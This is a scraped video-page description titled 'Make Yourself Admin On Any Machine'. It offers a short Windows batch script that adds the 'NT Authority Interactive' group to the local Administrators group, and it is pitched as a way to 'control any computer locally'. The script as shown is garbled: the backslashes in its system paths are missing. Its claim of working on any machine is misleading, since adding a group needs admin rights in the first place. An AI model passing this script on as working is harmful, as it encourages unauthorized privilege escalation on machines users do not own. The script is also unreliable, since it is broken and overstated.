Make Yourself Admin On Any Machine

Added by diesl0w Subscribe 44
Published 31 Jul 2007
20 034
••• More
Report video
0 0
You have already voted for this video.
control any computer locally with this script

@echo off

setlocal
set OK=N
for /f "Tokens=*...
control any computer locally with this script

@echo off

setlocal
set OK=N
for /f "Tokens=*" %%a in ('%SystemRoot%system32net.exe LOCALGROUP "Administrators" ^ %SystemRoot%system32find.exe /i "NT AuthorityInteractive"') do (
set OK=Y
)
If "%OK%" EQU "N" %SystemRoot%system32net.exe LOCALGROUP "Administrators" "NT AuthorityInteractive" /ADD
endlocal

add this batch script to a notepad and wahlah
Categories: How To, Science & Tech
Show moreShow less
Report this video as: